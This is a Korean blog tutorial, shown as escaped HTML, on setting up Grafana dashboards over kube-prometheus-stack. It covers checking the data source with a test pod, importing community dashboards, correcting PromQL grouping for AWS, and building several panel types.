&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;우측 상단 : admin 사용자의 개인 설정&lt;/li&gt; 
 &lt;li&gt;기본 대시보드 확인 
  &lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt; 
   &lt;li&gt;&lt;b&gt;Starred&lt;/b&gt; : 즐겨찾기 대시보드&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Dashboards&lt;/b&gt; : 대시보드 전체 목록 확인&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Explore&lt;/b&gt; : 쿼리 언어 PromQL를 이용해 메트릭 정보를 그래프 형태로 탐색&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Alerting&lt;/b&gt; : 경고, 에러 발생 시 사용자에게 경고를 전달&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Connections&lt;/b&gt; : 설정, 예) 데이터 소스 설정 등&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Administaration&lt;/b&gt;&amp;nbsp;: 사용자, 조직, 플러그인 등 설정&lt;/li&gt; 
  &lt;/ol&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Connections →  Data sources : Prometheus-Stack으로 설치한 경우 프로메테우스가 자동으로 데이터 소스에 추가됩니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B7XpT/btsF9xCACxg/d02spbpYOXkCWKThzPIjTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B7XpT/btsF9xCACxg/d02spbpYOXkCWKThzPIjTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B7XpT/btsF9xCACxg/d02spbpYOXkCWKThzPIjTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB7XpT%2FbtsF9xCACxg%2Fd02spbpYOXkCWKThzPIjTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1169&quot; height=&quot;427&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 서비스 주소 확인
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QHBMK/btsF7x4SPLY/hkt7JVO3auEZjpbo8KrfD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QHBMK/btsF7x4SPLY/hkt7JVO3auEZjpbo8KrfD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QHBMK/btsF7x4SPLY/hkt7JVO3auEZjpbo8KrfD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQHBMK%2FbtsF7x4SPLY%2Fhkt7JVO3auEZjpbo8KrfD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;120&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;해당 데이터 소스로의 접속을 확인해 봅니다. 테스트용 파드를 배포해 데이터 소스의 URL로 접근해보면 동일한 이름을 가진 서비스의 IP 주소를 확인할 수 있습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 테스트용 파드 배포
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
&amp;nbsp;&amp;nbsp;name: netshoot-pod
spec:
&amp;nbsp;&amp;nbsp;containers:
&amp;nbsp;&amp;nbsp;- name: netshoot-pod
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;image: nicolaka/netshoot
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;command: [&quot;tail&quot;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;args: [&quot;-f&quot;, &quot;/dev/null&quot;]
&amp;nbsp;&amp;nbsp;terminationGracePeriodSeconds: 0
EOF
kubectl get pod netshoot-pod

# 접속 확인
kubectl exec -it netshoot-pod -- nslookup kube-prometheus-stack-prometheus.monitoring
kubectl exec -it netshoot-pod -- curl -s kube-prometheus-stack-prometheus.monitoring:9090/graph -v ; echo

# 삭제
kubectl delete pod netshoot-pod&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1702&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w2rCL/btsF9DW5Ou1/VD04y5IUfOJYTf80EJc6kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w2rCL/btsF9DW5Ou1/VD04y5IUfOJYTf80EJc6kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w2rCL/btsF9DW5Ou1/VD04y5IUfOJYTf80EJc6kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw2rCL%2FbtsF9DW5Ou1%2FVD04y5IUfOJYTf80EJc6kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1702&quot; height=&quot;600&quot; data-origin-width=&quot;1702&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://grafana.com/grafana/dashboards/?pg=docs-grafana-latest-dashboards&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;공식 대시보드 가져오기&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;추천 대시보드를 가져와보겠습니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;b&gt;Kubernetes / Views / Global&lt;/b&gt; : Dashboard → New → Import → &lt;b&gt;15757&lt;/b&gt;&amp;nbsp;Load ⇒ 데이터소스(Prometheus 선택) 후 &lt;b&gt;Import&lt;/b&gt; 클릭&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2305&quot; data-origin-height=&quot;1344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxfqty/btsF6fi7FTi/imNzeMJ6V6ZcIcJEbfzX9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxfqty/btsF6fi7FTi/imNzeMJ6V6ZcIcJEbfzX9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxfqty/btsF6fi7FTi/imNzeMJ6V6ZcIcJEbfzX9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxfqty%2FbtsF6fi7FTi%2FimNzeMJ6V6ZcIcJEbfzX9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2305&quot; height=&quot;1344&quot; data-origin-width=&quot;2305&quot; data-origin-height=&quot;1344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;b&gt;1 Kubernetes All-in-one Cluster Monitoring KR :&lt;/b&gt;&amp;nbsp;Dashboard → New → Import →&amp;nbsp;&lt;b&gt;17900&lt;/b&gt; Load ⇒ 데이터소스(Prometheus 선택) 후&amp;nbsp;&lt;b&gt;Import&lt;/b&gt;&amp;nbsp;클릭&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2299&quot; data-origin-height=&quot;1016&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pH1ri/btsF7JjMa4m/PgVIMkVzjeWue0ZMbNnjK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pH1ri/btsF7JjMa4m/PgVIMkVzjeWue0ZMbNnjK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pH1ri/btsF7JjMa4m/PgVIMkVzjeWue0ZMbNnjK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpH1ri%2FbtsF7JjMa4m%2FPgVIMkVzjeWue0ZMbNnjK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2299&quot; height=&quot;1016&quot; data-origin-width=&quot;2299&quot; data-origin-height=&quot;1016&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;불러온 대시보드에서는 CPU 점유율, 메모리 점유율, 디스크 사용률(%)의 데이터가 수집되지 않고 있는데 출력되도록 고쳐봅니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;921&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qphpw/btsF89PyOJs/ySskuarALkgCPlkka510J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qphpw/btsF89PyOJs/ySskuarALkgCPlkka510J0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qphpw/btsF89PyOJs/ySskuarALkgCPlkka510J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqphpw%2FbtsF89PyOJs%2FySskuarALkgCPlkka510J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1904&quot; height=&quot;921&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;921&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;현재의 CPU 점유율의 PromQL의 조건들을 하나씩 살펴보면서 데이터가 나오는지 확인해보아야 합니다. 메트릭이 잘 조회되다가 node로 그룹핑을 했을 때 조회되지 않는 것으로 미뤄보아 노드로 그룹핑하는 방식이 적용되지 않는 것으로 추측할 수 있습니다. 해당 쿼리는 온프레미스에서 적용이 가능하지만 AWS 인스턴스를 사용할 때에는 node가 아닌 instance로 그룹핑을 해야 정상적으로 조회할 수 있습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;node_cpu_seconds_total
node_cpu_seconds_total{mode!~&quot;guest.*|idle|iowait&quot;}
avg(node_cpu_seconds_total{mode!~&quot;guest.*|idle|iowait&quot;}) by (node)
avg(node_cpu_seconds_total{mode!~&quot;guest.*|idle|iowait&quot;}) by (instance)

# 수정
sum by (instance) (irate(node_cpu_seconds_total{mode!~&quot;guest.*|idle|iowait&quot;, instance=&quot;$instance&quot;}[5m]))&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;메모리 점유율과 디스크 사용률도 마찬가지로 node를 instance로 변경하면 모두 정상적으로 출력되는 모습을 확인할 수 있습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 수정 : 메모리 점유율
(node_memory_MemTotal_bytes{instance=&quot;$instance&quot;}-node_memory_MemAvailable_bytes{instance=&quot;$instance&quot;})/node_memory_MemTotal_bytes{instance=&quot;$instance&quot;}

# 수정 : 디스크 사용률
sum(node_filesystem_size_bytes{instance=&quot;$instance&quot;} - node_filesystem_avail_bytes{instance=&quot;$instance&quot;}) by (node) / sum(node_filesystem_size_bytes{instance=&quot;$instance&quot;}) by (node)&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2305&quot; data-origin-height=&quot;1007&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bit7TK/btsF9EBMdD7/ov7jBMl5sdkZHQ4yZK3xak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bit7TK/btsF9EBMdD7/ov7jBMl5sdkZHQ4yZK3xak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bit7TK/btsF9EBMdD7/ov7jBMl5sdkZHQ4yZK3xak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbit7TK%2FbtsF9EBMdD7%2Fov7jBMl5sdkZHQ4yZK3xak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2305&quot; height=&quot;1007&quot; data-origin-width=&quot;2305&quot; data-origin-height=&quot;1007&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Grafana Panel&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;Graphs &amp;amp; charts 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/time-series/&quot;&gt;Time series&lt;/a&gt;&amp;nbsp;is the default and main Graph visualization.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/state-timeline/&quot;&gt;State timeline&lt;/a&gt;&amp;nbsp;for state changes over time.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/status-history/&quot;&gt;Status history&lt;/a&gt;&amp;nbsp;for periodic state over time.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/bar-chart/&quot;&gt;Bar chart&lt;/a&gt;&amp;nbsp;shows any categorical data.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/histogram/&quot;&gt;Histogram&lt;/a&gt;&amp;nbsp;calculates and shows value distribution in a bar chart.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/heatmap/&quot;&gt;Heatmap&lt;/a&gt;&amp;nbsp;visualizes data in two dimensions, used typically for the magnitude of a phenomenon.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/pie-chart/&quot;&gt;Pie chart&lt;/a&gt;&amp;nbsp;is typically used where proportionality is important.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/candlestick/&quot;&gt;Candlestick&lt;/a&gt;&amp;nbsp;is typically for financial data where the focus is price/data movement.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/gauge/&quot;&gt;Gauge&lt;/a&gt;&amp;nbsp;is the traditional rounded visual showing how far a single metric is from a threshold.&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li&gt;Stats &amp;amp; numbers 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/stat/&quot;&gt;Stat&lt;/a&gt;&amp;nbsp;for big stats and optional sparkline.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/bar-gauge/&quot;&gt;Bar gauge&lt;/a&gt;&amp;nbsp;is a horizontal or vertical bar gauge.&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li&gt;Misc 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/table/&quot;&gt;Table&lt;/a&gt;&amp;nbsp;is the main and only table visualization.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/logs/&quot;&gt;Logs&lt;/a&gt;&amp;nbsp;is the main visualization for logs.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/node-graph/&quot;&gt;Node graph&lt;/a&gt;&amp;nbsp;for directed graphs or networks.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/traces/&quot;&gt;Traces&lt;/a&gt;&amp;nbsp;is the main visualization for traces.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/flame-graph/&quot;&gt;Flame graph&lt;/a&gt;&amp;nbsp;is the main visualization for profiling.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/canvas/&quot;&gt;Canvas&lt;/a&gt;&amp;nbsp;allows you to explicitly place elements within static and dynamic layouts.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/geomap/&quot;&gt;Geomap&lt;/a&gt;&amp;nbsp;helps you visualize geospatial data.&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li&gt;Widgets 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/dashboard-list/&quot;&gt;Dashboard list&lt;/a&gt;&amp;nbsp;can list dashboards.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/alert-list/&quot;&gt;Alert list&lt;/a&gt;&amp;nbsp;can list alerts.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/text/&quot;&gt;Text&lt;/a&gt;&amp;nbsp;can show markdown and html.&lt;/li&gt; 
   &lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/news/&quot;&gt;News&lt;/a&gt;&amp;nbsp;can show RSS feeds.&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 대시보드를 생성해 봅니다. 신규 대시보드 생성 → 패널 생성(Code 로 변경) → 쿼리 입력 후 Run queries 클릭 후 오른쪽 상단 Apply 클릭 → 대시보드 상단 저장&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/time-series/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Time series&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;: 아래 쿼리 입력 후 오른쪽 입력 → Title(노드별 5분간 CPU 사용 변화율)&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;node_cpu_seconds_total
rate(node_cpu_seconds_total[5m])
sum(rate(node_cpu_seconds_total[5m]))
sum(rate(node_cpu_seconds_total[5m])) by (instance)&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/bar-chart/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Bar chart&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;: Add → Visualization 오른쪽(Bar chart) ⇒ 쿼리 Options : Format(Table), Type(Instance) → Title(네임스페이스 별 디플로이먼트 개수)&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;kube_deployment_status_replicas_available
count(kube_deployment_status_replicas_available) by (namespace)&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/stat/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Stat&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;: Add → Visualization 오른쪽(Stat) → Title(nginx 파드 수)&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;kube_deployment_spec_replicas
kube_deployment_spec_replicas{deployment=&quot;nginx&quot;}

# scale out
kubectl scale deployment nginx --replicas 6&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/gauge/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Gauge&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;: Add → Visualization 오른쪽(Gauge) → Title(노드 별 1분간 CPU 사용률)&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;node_cpu_seconds_total{mode!~&quot;guest.*|idle|iowait&quot;}[1m]

node_cpu_seconds_total
node_cpu_seconds_total{mode=&quot;idle&quot;}
node_cpu_seconds_total{mode=&quot;idle&quot;}[1m]
rate(node_cpu_seconds_total{mode=&quot;idle&quot;}[1m])
avg(rate(node_cpu_seconds_total{mode=&quot;idle&quot;}[1m])) by (instance)
1 - (avg(rate(node_cpu_seconds_total{mode=&quot;idle&quot;}[1m])) by (instance))&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/table/&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;Table&lt;/span&gt;&lt;/a&gt;&amp;nbsp;: Add → Visualization 오른쪽(&lt;span data-token-index=&quot;2&quot;&gt;Table&lt;/span&gt;) ⇒ 쿼리 Options : Format(Table), Type(Instance) → Title(노드 OS 정보) 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;Transform data → Organize fields by name : id_like, instance, name, pretty_name&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;node_os_info&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;923&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVnecH/btsF9dxQaMn/cfwbzM2fKKcz7J4qRnZPm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVnecH/btsF9dxQaMn/cfwbzM2fKKcz7J4qRnZPm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVnecH/btsF9dxQaMn/cfwbzM2fKKcz7J4qRnZPm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVnecH%2FbtsF9dxQaMn%2FcfwbzM2fKKcz7J4qRnZPm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1208&quot; height=&quot;923&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;923&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;Grafana Alert&lt;/h4&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY7BqR/btsF87RPh95/All1GKBKaDrCh8FJuCLO41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY7BqR/btsF87RPh95/All1GKBKaDrCh8FJuCLO41/img.png&quot; data-alt=&quot;출처 :https://grafana.com/docs/grafana/latest/alerting/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY7BqR/btsF87RPh95/All1GKBKaDrCh8FJuCLO41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY7BqR%2FbtsF87RPh95%2FAll1GKBKaDrCh8FJuCLO41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;224&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://grafana.com/docs/grafana/latest/alerting/&lt;/figcaption&gt;
&lt;/figure&gt;
